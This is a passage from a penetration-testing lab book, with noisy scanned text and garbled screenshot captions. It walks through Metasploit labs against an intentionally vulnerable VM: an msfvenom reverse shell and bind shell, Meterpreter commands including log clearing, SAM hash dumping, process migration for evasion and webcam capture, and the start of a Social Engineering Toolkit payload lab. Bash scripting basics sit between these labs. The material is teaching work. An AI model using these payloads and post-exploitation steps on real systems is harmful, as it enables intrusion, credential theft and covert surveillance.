Avira (no cloud) (1) TR/Paiched Gen2
BitDefendar 'ﬁ Trojan. CryptZ. Gen
BitDefendar Thata L'_) Gen:NN.JexaF. 344670 .cD2 @aal spali
Bkav Pro (1) W3z AlDetect malware2
ClamAV (1) WinTrojan Swrort-5710534-0

Then, encrypt your payload and upload it again. Notice how some Antivirus
engines do not pick up on the payload as a virus? Payloads can be enctyped
multipile times to further reduce the risk of detection.



Lab 75. Establishing a Reverse Shell
on a Linux Target Using Msfvenom
and Metasploit

Lab Objective:
Learn how to establish a reverse shell on a Linux target using Msfvenom and
Metasploit.

Lab Purpose:

Msfvenom is a command line instance of Metasploit that is used to generate
payloads and can also encode them. How payloads are produced for different
purposes is explained in detail in lab 74. It is recommended that you look
there for more information.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can



download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

Harning: Hever expose this i untrus netuwork!t

Comtact: msifdeviat asploit.con r-T-IE.I-Ei {.-l ]‘T‘lirl

Login with azfadminsnsfadnin to get started

netasploitable login: _

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Both msfvenom and metasploit come pre-installed on Kali. We can view the
help screen for both tools by typing the following into our terminal:

msfvenom
msfconsole

In this lab, we will be generating a reverse shell payload using “msfvenom” and
then using Metasploit to establish a listener. The goal is to establish a shell on
our Metasploitable VM.

Task 3:
To begin, we will first need to create a payload for our Metasploitable VM.
To do this, we will use the following command:


https://docs.rapid7.com/metasploit/metasploitable-2/

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=5555 -f elf -o
reverse-sh.elf

linux/x86/meterpreter/reverse_tcp LHO5T=192.168.56.103 LPORT=5555
wyerse-sh.elf ]
[-] No platform was selected, choosing Msf ::Module:: Platform:: Linux from the paylo

ad

[-] Mo arch selected, selecting arch: x86 from the payload

Mo encoder specified, outputting raw payload

Payload size: 123 bytes IP address of Kali VM

of elf file: 207 bytes

t LSB executable, Intel 80386, version 1 (SYSV), statical

192.168.56.103 is the IP address of our Kali VM in this instance.

Once this is done, type “file reverse-sh.elf ” in your terminal and you should see
details of the payload file you just created in your home directory.

Task 4:

In this step, we will somehow place the payload file on the target machine.
Make sure Metasploitable VM is up and running. In this case, we will be
transfering the file through FTP. To do this, open a terminal in Kali VM and
type the following (1):

ftp 192.168.56.102

192.168.56.102 is the IP address of our Metasploitable VM in this instance.
When asked, enter msfadmin as the username and password (2).

We will use the “put“command in FTP to send the payload file to the target
machine (3). Next, to the “put” command; we will write the name of the
payload file which is “reverse-sh.elf” in this case. After the transfer is complete,
let’s make sure that the payload file is at the target location by typing “Is” (4).
Finally, we end the FTP session by typing “by” (5).



192 lblﬂ.:ﬁt‘-nﬂ1§;——®

Connecte r! [ O 1 g2 lr:41. 5

220 (v - 1—4‘_—’—;_—?- @
CETT -.]hh 56 . IG"LHL1I ms +1ﬂ|]t

331 Please specify the pd~)hult

Password:

230 Login success

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> put reverse-sh.elf

1 | reverse-sh.elf remote: reverse-sh
PORT command successful. Consider usi

0 send data.

in 0.00 secs (5.4836 MB/s)

200 }uﬂl‘?br“?hh_;:: essful. Consider using PASVY.
150 Here comes the sggectory listing.
Iw-r-—r 1 1990 ) 207 Apr 00 17:22 reverse-
drwxr-xr-x 6 IUDE ey 4096 Apr I8 0 v .
Ullll‘lw' C

ftp> Q&
221 C.l..ﬂ[jl.l C 3

Our evil binary file has been placed on the victim machine now.

Task 5:
We then need to make this file executable on our Metasploitable VM. In our
Kali terminal screen, type the following (1):

ssh msfadmin@192.168.56.102

Type yes when asked if you are sure you want to connect to this host. Then,
type msfadmin for the password when prompted (2). We are now connected to
our Metasploitable VM through SSH.


mailto:msfadmin@192.168.56.102

F"'+-|r1T|'|.F||_'Il-!,_,'. 68.56. lf" 4; @

1:58:080 UTC 2008 1686

msfadmin@metasploitable:~%

We can now make the payload executable by typing the following (3):
chmod +x reverse-sh.elf

Once this is done, leave the SSH connection to our Metasploitable VM open,
and open a new terminal. We will now need to establish the listener for the
reverse connection which our payload will be sending to our machine.

Task 6:
To establish the listener, we will be using Metasploit. Start the tool by typing
the following in Kali VM:

msfconsole

Then, type the following command to specify that we want to use a listener

(1)
use exploit/multi/handler

Once the multi/handler is selected, we need to specify three things: the local
host, the local port, and the payload type. We can do this by typing the
following commands into the terminal (2,3,4):

set lhost 192.168.56.103
set Iport 5555
set payload linux/x86/meterpreter/reverse_tcp

Once these commands are entered, you can then type “run” to start the listener



(5). You should see something like the following screenshot.

Metasploit tip: View advanced module options with

us g‘ C
msf6 exploit(
Lhost = 192,168.56
msf6 exploit(
lport = 5555
Fe6 exploit( ) » set payload Llinux/xB6/meterpreter/reverse tcp

payload = Llinux/x --:'__t:?r-"\ff?‘—_‘:%__®

msf6 exploit(

Started reverse

Task 7:
Finally, we can execute the payload on our target. Navigate back to terminal
screen with the established SSH connection. Then, type the following:

Jreverse-sh.elf

Once you hit enter, return to the terminal screen which is running the
Metasploit listener. You will see a meterpreter session has started and is now
open (1). We have sucessfully established a stable shell! We can access the
shell by typing “shell” into meterpreter (2). We can return to the Meterpreter
interface from the shell by typing “exit” into the shell.
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msfadmin
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Lab 76. Establishing a Bind Shell on
a Linux Target Using Msfvenom
and Metasploit

Lab Objective:
Learn how to establish a bind shell on a Linux target using Msfvenom and
Metasploit.

Lab Purpose:

Msfvenom is a command line instance of Metasploit that is used to generate
payloads and can also encode them. How payloads are produced for different
purposes is explained in detail in lab 74. It is recommended that you look
there for more information.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can



download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

Harning: Hever expose this i untrus netuwork!t

Comtact: msifdeviat asploit.con r-T-IE.I-Ei {.-l ]‘T‘lirl

Login with azfadminsnsfadnin to get started

netasploitable login: _

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:
Both msfvenom and metasploit come pre installed on Kali. We can view the
help screen for both tools by typing the following into our terminal:

msfvenom
msfconsole

In this lab, we will be generating a bind shell payload using msfvenom, and then
using Metasploit to establish a handler which will connect to the target. The
goal is to establish a shell on our Metasploitable VM.

Task 3:
To begin, we will first need to create a payload for our Metasploitable VM.
To do this, we will use the following command:


https://docs.rapid7.com/metasploit/metasploitable-2/

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=5555 -f elf -0 bind.elf

P

linux/x86/meterpreter/bind tcp LPORT=5555 elf bind.elf
[-] Mo platform was selected, choosing Msf ::Module :: Pla form::Linux from the paylo
ad
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 111 bytes
Final size of elf file: 195 bytes
Saved as: bind.elf

port number to be listen

bind.elf
bind.elf: it LSB executable, Intel 80386, version 1 (SYSV), statically 1lin

ked, no sectior

Once this is done, type “file bind.elf ” in your terminal and you should see
details of the payload file you just created in your home directory.

Task 4:

In this step, we will somehow place the payload file on the target machine.
Make sure Metasploitable VM is up and running. In this case, we will be
transfering the file through FTP. To do this, open a terminal in Kali VM and
type the following (1):

ftp 192.168.56.102

192.168.56.102 is the IP address of our Metasploitable VM in this instance.
When asked, enter msfadmin as the username and password (2).

We will use the “put“ command in FTP to send the payload file to the target
machine (3). Next to the “put” command, we will write the name of the
payload file, which is “bind.elf” in this case. After the transfer is complete, let’s
make sure that the payload file is at the target location by typing “Is” (4).
Finally, we end the FTP session by typing “by” (5).



;FTPd 2.3.4)
¥ AR OF kT IERE .-F..,...-. o~
2.168.56.102:kall): JEH}”-{ZHJA___-_1‘HH‘
=ase specify the password.

1in successful.

Remote system type 15 UNIX.

©)

Using binary mode to transfer files.
ftp> put bind.elf @—@

L: bind .f remote: bind.elf

PORT command successful. Consider using PASV.
Ok to send data.

Transfer complete.

bytes sent in 0.00 secs (6.1989 MB/s)

.'|:“.|-_-:_

PORT command . Consider using PASV.
Here comes the directory listing.

=P =—=1I"== 1 1000 1800 195 Apr
r=-xXr-x 6 1000 1800 LPO6 Apr 28
Directory send OK.

tp> by {;—_®

221 Goodbye.

85

Our evil binary file has been placed on the victim machine now.

Task 5:
We then need to make this file executable on our Metasploitable VM. In our
Kali terminal screen type the following (1):

ssh msfadmin@192.168.56.102


mailto:msfadmin@192.168.56.102

msfadming192.168.56.102 é : @

msfadming192.168.56.102"'s password:

Linux metasplolitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:0@ UTC 200
msfadmingmetasploitable:~$%

msfadmingmetasploitable:~$% 1s

bind.elf wvulnerable

msfadmingmetasploitable:~$ chmod +x bind.elf <:}—®

msfadmingmetasploitable:~$ ls -al bind.elt
1 msfadmin msfadmin 195 2021-84-05 15:12 bind.elf

msTadmina .
msfadmingmetasploitable:~

Type yes when asked if you are sure you want to connect to this host. Then,
type msfadmin for the password when prompted (2). We are now connected to
our Metasploitable VM through SSH.

We can now make the payload executable by typing the following (3):
chmod +x bind.elf

Once this is done, leave the SSH connection to our Metasploitable VM open
and open a new terminal. We will now need to establish the handler which
will connect to our target, which will be listening for our connection when
our payload is executed.

Task 6:
To establish the handler, we will be using Metasploit. Start the tool by typing
the following:

msfconsole

Then type the following command to specify that we want to establish a
handler (1):

use exploit/multi/handler

Once the multi/handler is selected, we need to specify three things: the



remote host which we want to connect to, the local port, and the payload
type. We can do this by typing the following commands into the terminal
(2,3,4):

set rhost 192.168.56.102
set Iport 5555
set payload linux/x86/meterpreter/bind_tcp

[ 2106 exploits - 1134 auxiliary - 357 post
pas ads - 45 encoders - 10 nops
| B evaslion
Metasploit tip: Display the Framework log using the
command, learn more with

.168B.56.102

msf6 exploit(

lport = 5555

msf6 exploit( } > set payload linux/x86/meterpreter/bind tcp
payleoad = linux/x86/meterpreter/bind tcp

msf6 exploit( ) > "‘

Once these commands are entered, we will then go back to our SSH
connection screen with our Metasploitable VM.

Task 7:
Finally, we can execute the payload on our target. Navigate back to the tab
with the established SSH connection. Then, type the following:

./bind.elf

Once you hit enter, return to the tab which has the Metasploit handler open
and type “run” (1). Metasploit will then connect to the target and send the
exploit stage; we will then have a meterpreter shell on our target.



When we execute our payload on the Metasploitable VM, we establish a
listener on port 5555 on our target. The handler then connects to our target on
port 5555, and sends the stage to establish a shell (2). This is how bind shells
work.

msf6 exploit( ) » run ?‘@

Started bind TCP handler against 192.168.56.102:5555

Sending stage (98 8 bytes) to 192.168.56.102

Meterpreter session 1 opened (©0.90.9.08:9 = 192.168.56.182:5555) at
15:54:42 -04L00

whoami @
msfadmin

id

=1@@@(msfadmin) gid=1000(msfadm " adm), 2@ alout),24(cdrom),25( flopp
(audio) (dip),44(vi

You will see a meterpreter session has been started and is now open. We have
sucessfully established a stable shell! We can access the shell by typing “shell
into meterpreter (3). Type “whoami” and “id” commands in this remote shell
(4). We can return to the Meterpreter interface from the shell by typing “exit“
into the shell (5).



Lab 77. Basic Meterpreter
Commands

Lab Objective:
Learn some basic Meterpreter commands which can be used once a shell has
been established on our target.

Lab Purpose:
Meterpreter is a Metasploit attack payload that provides an interactive shell
from which an attacker can explore the target machine and execute code.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:

You can use Kali Linux in a VM for this lab. Since this lab requires active
Meterpreter command shell access, it should be studied immediately after the
end of lab 75 or lab 76.

Lab Walkthrough:

Task 1:

If you are unfamiliar with metasploitable, it is an intentioally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can
download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/



https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

Harning: Never expose iz i UnLrus netuworkt

Contact: mslfdeviat asploit.comn ”_IE!'I-J {.-I IT‘IEH

Login with nsfadminsnsfadnin to get started

netasploitable lagin: _

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

In this lab, we will be learning about the post exploitation tool “meterpreter”.
Our main focus will be going over some basic and most useful commands
this tool supports. To begin, we can view the help screen for this tool with the
following command:

help



meterpreter > help

Core Commands

Command Description

T Help menu

backeround Backerounds the current session

bg Alias for bac ind

bgkill Kills a background meteéerpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thre
ad

Task 3:
We can background any meterpreter shell by typing the following (1):

background

This will return us to the msf prompt where we use different exploits. We can
return to our meterpreter session simply interacting with the shell again. This
is done by first typing sessions to view which sessions are open and then
typing the following (2):

sessions -i 1

Background

msf6 exploitl } > sessions -1 1

21arting i1nteraction

mMELErpretier >

Task 4:
We can display the contents of any file with the following command (1):



cat readme.txt

We can change to a different directory on our target by typing the following

(2):
cd vulnerable

We can display the contents of any directory with the following command

(3):

Is

1is is Metasploitable
» cd vulner:

Last modified Name
4B755/ rWXr-Xr-x dir 2010-04-28 16:22:27 -0400 my sgl-ssl
dir 2010-0. } 16:22:27 -0400 samba
dir 2 -0 i b -0400 tikiwikil
air 28 16:22:1 -0400

We can also display the current working directory on the target (the directory
we are in) by typing the following (4):

pwd

Task 5:

This next command is very useful for when we have an established shell on a
Windows machine. This command will clear the “Application, System and
Security Logs” on a Windows system. There are no options or arguments



required:
clearev

Task 6:
We can download any file from the target machine to our Kali machine by
typing the following:

download samba

* > download tikiwiki @

ading: 3.zip = /home/kali/tikiwiki/tik

.5.Z1p

download : tikiwiki/tikiwiki-1.9.5.zip — /home/kali/tikiwiki/tik
iwiki-=1 5.Z1p

dow iing: tikiwiki/tikiwiki-1.9.11.z2ip = /home/kali/tikiwiki/ti
kiwiki- 11.z1p

down : tikiwiki/tikiwiki-1.9.11.z2ip = /home/kali/tikiwiki/ti
kiwiki

dow ading: tikiwiki/tikiwiki-1.9.4.z2ip = /home/kali/tikiwiki/tik
iwiki-1.9

download : tikiwiki/tikiwiki-1.9.4.zip = /home/kali/tikiwiki/tik
iwiki-1.9.4.21p

meterpreter > [

Task 7:
We can edit any file on the target by using the following command:

edit readme.txt

This command will use the vim as editor.

Task 8:
We can run commands on the target by using the following command:

execute -f ssh -i -H

The command above will start the cmd process on our target and allow us to



interact with this process.

Task 9:
We can display the user that the meterpreter server is running as on the host
with this command (1):

getuid

peterpreter > getuid L& @

ername: msfadmin § metasploitable (uid=1000, gid=1000, euid=10
20, egid=1000)

meterpreter >

@

This is useful to know if you are simply a user or root on the system (2).

Task 10:
Finally, we can use the following command to display the network interfaces
and addresses on the target machine:

ifconfig



meterpreter > ifconfig

Interface 1

Name : lo

Hardware MAC : 00:00:00:00:00:00
MTU : 16436

Flags : UP, LOOPBACK

IPv4 Address

IPv4i Netmask

IPv6 Address

IPv6 Netmask

Intertace 2

Name * eth@
Hardware MAC : ©8:00:27:55:32:5i

MTU : 1500

Flags : UP,BROADCAST ,MULTICAST
IPv4 Address : 192.168.56.102

IPv4 Netmask : 255.2

IPv6 Address

IPv6e Netmask




Lab 78. More Advanced
Meterpreter Commands

Lab Objective:
Learn some more advanced Meterpreter commands which can be used once a
shell has been established on our target.

Lab Purpose:
Meterpreter is a Metasploit attack payload that provides an interactive shell
from which an attacker can explore the target machine and execute code.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable VM

Lab Topology:

You can use Kali Linux in a VM for this lab. Since this lab requires active
Meterpreter command shell access, it should be studied immediately after the
end of lab 75 or lab 76.

Lab Walkthrough:

Task 1:

If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware the same as Kali Linux. You can
download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/



https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.

Harning: Never expose iz i UnLrus netuworkt

Contact: mslfdeviat asploit.comn ”_IE!'I-J {.-I IT‘IEH

Login with nsfadminsnsfadnin to get started

netasploitable lagin: _

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

In this lab, we will be learning about the post-exploitation tool, Meterpreter.
We will be covering some of the more advanced commands associated with
this tool.

When we have established a Meterpreter shell on a Windows machine, we
are able to dump the contents of the Security Acounts Manager (SAM)
database using the following command:

run post/windows/gather/hashdump



meterpreter > run post/windows/gather/hashdump }
[*] obtaining the boot key ...

[«] calculating the hboot key using SYSKEY 452¢

[*] obtaining the user list and keys...

[#] Decrypting user keys ...

[*] pumping password hashes ...

Administrator:500:a512clif3atcts
victim:10901:81cbceaBa9af93bbaams
Guest1:501:ead3bs35b514504%eeaad e
HelpAssistant:1002:acac9c468348 4
SUPPORT_3B8945a0:1003:ead3b435

meterpreter >

The SAM will contain hashes of the Windows machines passwords.

Task 3:
We can use the following command to display the local working directory:

Ipwd

The local working directory is the location where the Metasploit console was
started on our target.

Task 4:
We can change the local working directory using the following command:

led /tmp

This will give our Meterpreter session access to files located in this folder.

Task 5:

When we establish a Meterpreter shell on the target, we are starting the shell
on a process which is running on the target. We can migrate the shell to
another process on the target machine using the followig command:

run post/windows/manage/migrate



This will help with evading detection as well as establishing persistence.

Task 6:
We can display a list of the running processes on the target using the
following command:

Ps

This is useful when deciding which process to migrate the Meterpreter shell
to.

Name rch  User

inlit 1686 root
kthreadd B6 Troot
migration/o ) root
ksoftirqgd/@ ) | root
watchdog/é@ 1686 To0t
events/@ i root
khelper 3 | root
kblockd/@ 3 | root

kacpid 586 root
kKacpl notify ) | oot
kseriod ] 3y | root

pdflush ) Troot
pdf Lush ' root
kswapd@d '

alo/a

Ksnapd




Task 7:
We can use the following command to execute Meterpreter instructions
located inside a text file:

resource

The resource command will execute Meterpreter instructions located inside a
text file. Containing one entry per line, resource will execute each line in
sequence. This can help automate repetitive actions performed by a user.

Task 8:
We can use the following command to upload files to the target system:

uploading
Uploaded -85 : Shome ¥ putty.exe
uploaded

B Tt

We will need to use double-slashes with this command if remote target is a
windows machine.

Task 9:
We are able to display all currently available webcams on the target host
using the following command:

webcam_ list

meterpreter >

1: Creative WebCam NX Pro

2: Creative WebCam NX Pro (VFW)

meterpreter » T — :15::; @




Task 10:
Finally, we are also able to grab a picture from a connected web cam on the
target system and save it to disc as a JPEG file:

webcam_snap

meterpreter > webhcam snap -i 1 -v false
[*] Starting... Q—-—\ @
[+] Got frame \\‘:ﬁ’f

[*] Stopped
Webcam shot saved to: Yxdhwpe(. jpeg

meterpreter »

By default, the save location is the local current working directory with a
randomized filename.



L.ab 79. Introduction to Bash
Scripting

Lab Objective:
Learn some basic bash scripting.

Lab Purpose:

Bash is a Unix shell and command language. It is a free software replacement
for the Bourne Again Shell. It is used as the default login shell for most
Linux distributions.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be running through a basic introduction to scripting with
Bash.

To begin, we will create a very simple bash script. You should know that
every bash script will always begin with the following line of code at the top:

#!/bin/bash

This code is used to tell your shell that it needs to use bash to run the file.

With this established, let’s write our first very basic script which is called, for



example, “sample01.sh”. We can do this by copying the following and pasting it
into a new file in Kali VM:

#!/bin/bash
echo “Hello!”
pwd

id

£

sample®l.sh
#! /bain/bash

echo "Hello!"
pwd
id

Make sure to include the first line of code at the top to tell our terminal to run
this file using bash.

In order to run this file, we first need to make it executable on our system.
We can do this by typing the following:

chmod +x sample(01.sh
To execute the script, type the following:

./sample01.sh



®

sample@l.sh

-rwxr-xr-x 1 kali kali 33 Apr 7 01:04 sampledl.sh

sample@l.sh
sample@l.sh: Bourne-Again shell script, ASCII text executable

"%__@

46(plugdev),109(netdev),119(bluetooth),133(scan

2(kaboxer)

As you can see, the commands we have entered in the script have executed in
the console.

Task 2:

We will now learn about variables in bash. A variable is a symbol which
functions as a placeholder for varying expressions or quantities. Variables are
often used to store numbers as well as vectors, metrices, and functions.
Essentially, they are used to store information.

Create a new script which is named “sample02.sh”. Note that we will need to
type a dollar sign before the variable when calling it in order to use it. We
will now edit our script to include two variables by typing the following:

#!/bin/bash
name="John”
lastname="Smith”
echo $name,$lastname



it sam

#! /bin/bash
name="John"
lLastname="Smith"

echo $name, $lastname

bl

+X sample@2.sh

John, Smith

chmod +x sample02.sh
Then, execute your script by typing:
./sample02.sh

As you can see, using variables and then calling them using echo is the same
as typing echo “John, Smith”.

Task 3:
We will now learn about debugging the code in our script. We can perform
debugging by adding the following into our code:

set -xX
<code here>
set +x

Debugging allows us to step through our code and determine if there are any
mistakes. Now, create another script file with standard headline:

#!/bin/bash
name="John”
set -x

echo $name



set +x

sample@3.sh

#!/bin/bash
name="John"
et -X
echo $name
set +x

L

+X sample@3,sh

+ &cho John
John
+ S8T +X

chmod +x sample03.sh
./sample03.sh

Save this file and run it. As you can see, this will output a + before every
command as it is executed. If there was an error in one of the commands, it
would output a — before the command. This makes it easy for us to find the

error and correct it.



Lab 80. More Bash Scripting

Lab Objective:
Learn some more bash scripting concepts.

Lab Purpose:

Bash is a Unix shell and command language. It is a free software replacement
for the Bourne Again Shell. It is used as the default login shell for most
Linux distributions.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be running through some more concepts around scripting
with Bash.

We will begin by looking at parameters. The official definition of a parameter
is that a parameter is a special kind of variable in that it is used to pass
information between functions or procedures.

We will begin by creating a new script file with nano editor. Enter the
following:

#!/bin/bash
name=$1
echo $name



o

sample@s,sh
#! /bin/bash
name=%$1
echo $name

B

+X sample@d4.sh

chmod +x sample04.sh

Once this is done, save the file and close it. Now, run the file:
./sample04.sh

You will notice that we receive no output. Now, type the following:
./sample04.sh John

We receive “John” as output. This is because, when using parameters, we
need to supply them with information. Note: the information passed to a
parameter is called an argument.

If we want to get the third argument (the third piece of information passed to
the parameter), we will first need to change the code in our script. We will
simply be replacing the $1 with $3, which should make our script look like
the following:

Now, run the script with the following command:



./sample04.sh John Mark Lee

Note that we are now getting the third argument returned to us in the
terminal.

name=%3
echo $name

—

John Mark Lee

Task 2:
We can create another script file so that the user is prompted to enter a value

when the script is run. We can do this using “read”. Read will cause the code
to hand and wait for the user to input a value before continuing. Edit your
script so that it looks like the following:

#!/bin/bash

echo Enter your age:
read age

echo “Your age is $age!”



e

sampled5.sh
#!/bin/bash
echo Enter your age:
read age

echo "Your age is $age!”

L

+X sampleds,sh

Enter your age:
21

Your age 1s 21!

chmod +x sample05.sh

Now run the script. Enter a number when prompted by the script.

You will notice that the script takes the number input by us and returns it in a
sentence. Read is a very useful function in this regard.

Task 3:

You may be asking, what if we wanted to store multiple values in one
variable? We don’t need to create a variable for every piece of data we want
to store as you may think. Instead, we can use arrays to store multiple values.
We can then use an index to extract the pieces of data from the array. It is
important to note that because arrays use indexing, the first value entered in
an array will always start at zero. i.e if you input 1,2,3 into an array, the first
number (1) will be located at index 0 in the array. The second number (2)
will be located at index 1 in the array etc.

Let’s create our first array. Create a new script to include the following:

#!/bin/bash
names=(‘John’ ‘Mark’ ‘Lee’)
echo “${names[@]}”



#! /bin/bash
names={ "John' 'Mark' 'Lee')
echo "${names[a@]}"

John Mark Lee

Let’s break these two lines of code down:
The names = section specifies the array and stores the variables included.

The echo section calls each piece of data included in the array. Note the
different brackets used to call the array contents. The @ will call every piece
of data in the array. The [] are used to specify the index of the piece of data
we are calling.

Run this code now and note the output.

Now, what if we wanted to simply return the value “Lee” from the array? We
would edit our script to look like the following:

echo “${names[2]}”

Task 4:
If we want to remove a value from our array, we can use the unset command:

#!/bin/bash
names=(‘John’ ‘Mark’ ‘Lee’)
echo “${names[@]}”



unset names[1]
names|1]="Michael’
echo “${names[@]}”

sample@6.sh
#! /bin/bash
names=( 'John' 'Mark’
echo "${names[@]}"

Lee")

unset names[1]
names[1]="Michael"
echo "${names[q]}"

John Mark Lee
John Michael Lee

unset names[1]

This will remove the name Mark from the array.

We can also swap out a value in our array using the following command:
names[1]="Michael’

This will swap the name Mark with Michael in our array.



Lab 81. Advanced Bash Scripting

Lab Objective:
Learn some advanced bash scripting concepts.

Lab Purpose:

Bash is a Unix shell and command language. It is a free software replacement
for the Bourne Again shell. It is used as the default login shell for most Linux
distributions.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will run through some more advanced, but fundamental
concepts behind bash scripting. Using these concepts when scripting with
bash is what makes the language really useful.

We will begin by addressing conditionals. Conditionals are a piece of code
which rely on a piece of code (a condition) being met. Whether the condition
is met or not is usually determined using relational operators including: equal
to, greater than, and less than.

To begin this lab, we will start by making a simple conditional statement to
check if a variable is equal to a value. We will use an “if” statement to
achieve this goal.



An if statement looks like the following:

if [ x compared to y ]
then

Some action
else

Some other action
fi

This is the syntax for every if statement in the bash language. If statements
will always use a pair of brackets. When using bash, make sure to include a
space between the brackets at either end in order for the command to work.
We also need to ensure we end each if statement with fi, which is if
backwards. Let’s construct an example:

#!/bin/bash
number=>5
if [ $number =5 ]
then

echo true
else

echo false
fi

The following is what this looks like in a text editor:



sample@7.sh
#! /bin/bash
number=5
if [ $number = 5 |
then
echo true

echo false

R

+X sample@7.sh

We can execute this script and we will be returned the value “true”.

Now, let’s create a script which will accept input and compare it to a value.
This will look like the following:

#!/bin/bash
echo “Enter a value between 1 and 10:”
read value
if [ $value -gt 5 ]
then

echo “$value is greater than 5”
else

echo “$value is less than or equal to 5”
fi

Save this script file as “sample08.sh”, make executable then run;



Enter a number and see how the script responds.

~
sample@s. s

#! /bin/bash

echo "Enter a value between 1 and 10:°

read value

if [ $value -gt 5 ]

then
echo "$value is greater than 5"

echo "$value is less than or equal to 5"

Enter a value between 1 and 10:

is less than or equal to 5

Enter a value between 1 and 10:
9
9 is greater than 5

Task 2:
Finally, we will create a script which will perform an action on a file based

on an if statement. To do this, we will need to use two conditions. Our script
will check if a file exists on our system and then check if we are able to write
to that file. If both conditions are true, we will write “Yes” to the file. If not,

we will create a file and write “Yes” to it. The script will look like the



following:

#!/bin/bash
echo “Please input the name of the file:”
read input
if [ -f $input ] && [ -w $input ]
then
echo Yes > $input
else
touch $input
echo Yes > $input
fi

Save this script file as “sample09.sh”, making it executable.



samp Le@9.sh
#! /bin/bash
echo "Please 1nput the name of the file:"
read input

-f $input ] 66 [ -w $input ]

echo Yes > $input

touch $input

echo Yes > $input

)

+x sample@9.sh

Pt

Please input the name of the file:
ves.txt

Now, run this script and see what happens.

Conditional statements can be extremly useful for automating tasks on a linux
system, such as checking to see if the system is up to date, if we are
connected to a network, etc.



Lab 82. How to Establish a
Meterpreter Shell on a Windows
Target Using SET

Lab Objective:
Learn how establish a Meterpreter shell on a Windows target using SET.

Lab Purpose:

SET (Social Engineering Toolkit) is designed to perform advanced cyber
security attacks against the human element. It is an open-source tool
developed in Python aimed at penetration testing around social engineering.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be looking at how to create a Metasploit payload using
SET, and then establish a Meterpreter shell using this payload. This payload
can be run on the victim machine to provide us with a Meterpreter shell on
that machine. We will be targeting a Windows machine in a virtual machine
for this lab. You can find pre-installed Windows VM images from
Microsoft’s links below:

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
https://developer.microsoft.com/en-us/windows/downloads/virtual-



machines/

After Windows VM installation is completed, put this machine into the same
“Host-Only Network” with Kali VM to isolate attacks/scans from your real
network.

(& Kali-Linux-2021.1-vbox-amd6d - Settings 7 e
E]i General Hetwork
Il] System Adapter 1 Adapter 2 Adapter 3 Adapter 4

L_-.J Display Enable Network Adapte —
L;_,] — Attached to: [Host-only Adapter M

i [
TR ame: | Bridged Adapter - -
@) Audio > Internal Network
Advanced o e

N ke Generic Driver

st ihwr Network
\ | Cloud Network [EPERDENTAL] | S

@ Senal Ports | Not attached —.. 0

[oc ][ conce

Task 2:

Before moving on to the next step, we need to put Kali VM into the “Host-
Only Network”. Since Kali will be disconnected from the internet, you will
see errors at the top of the command menus. However, it will not be a
problem for us. To begin, open SET in Kali VM by typing the following:

sudo setoolkit

The attack we will be conducting involves creating a payload and can be
found under the first menu, “Social-Engineering Attacks”. To choose this
menu, type 1.

We will then be presented with another menu. Once here, we will be
choosing option 4, “Create a Payload and Listener”. Select this option by
typing 4 and hitting enter.



Select from the menu:

Social-Engineering Attacks m@

Penetration Testing (Fast-Track)
Third Party Modules

Update th :

Update SE] select from the menu:

Help, Cre

99) Exit the

We will be presented with another menu here which will ask us what kind of
payload we wish to create. For this lab, we will be choosing option 2,
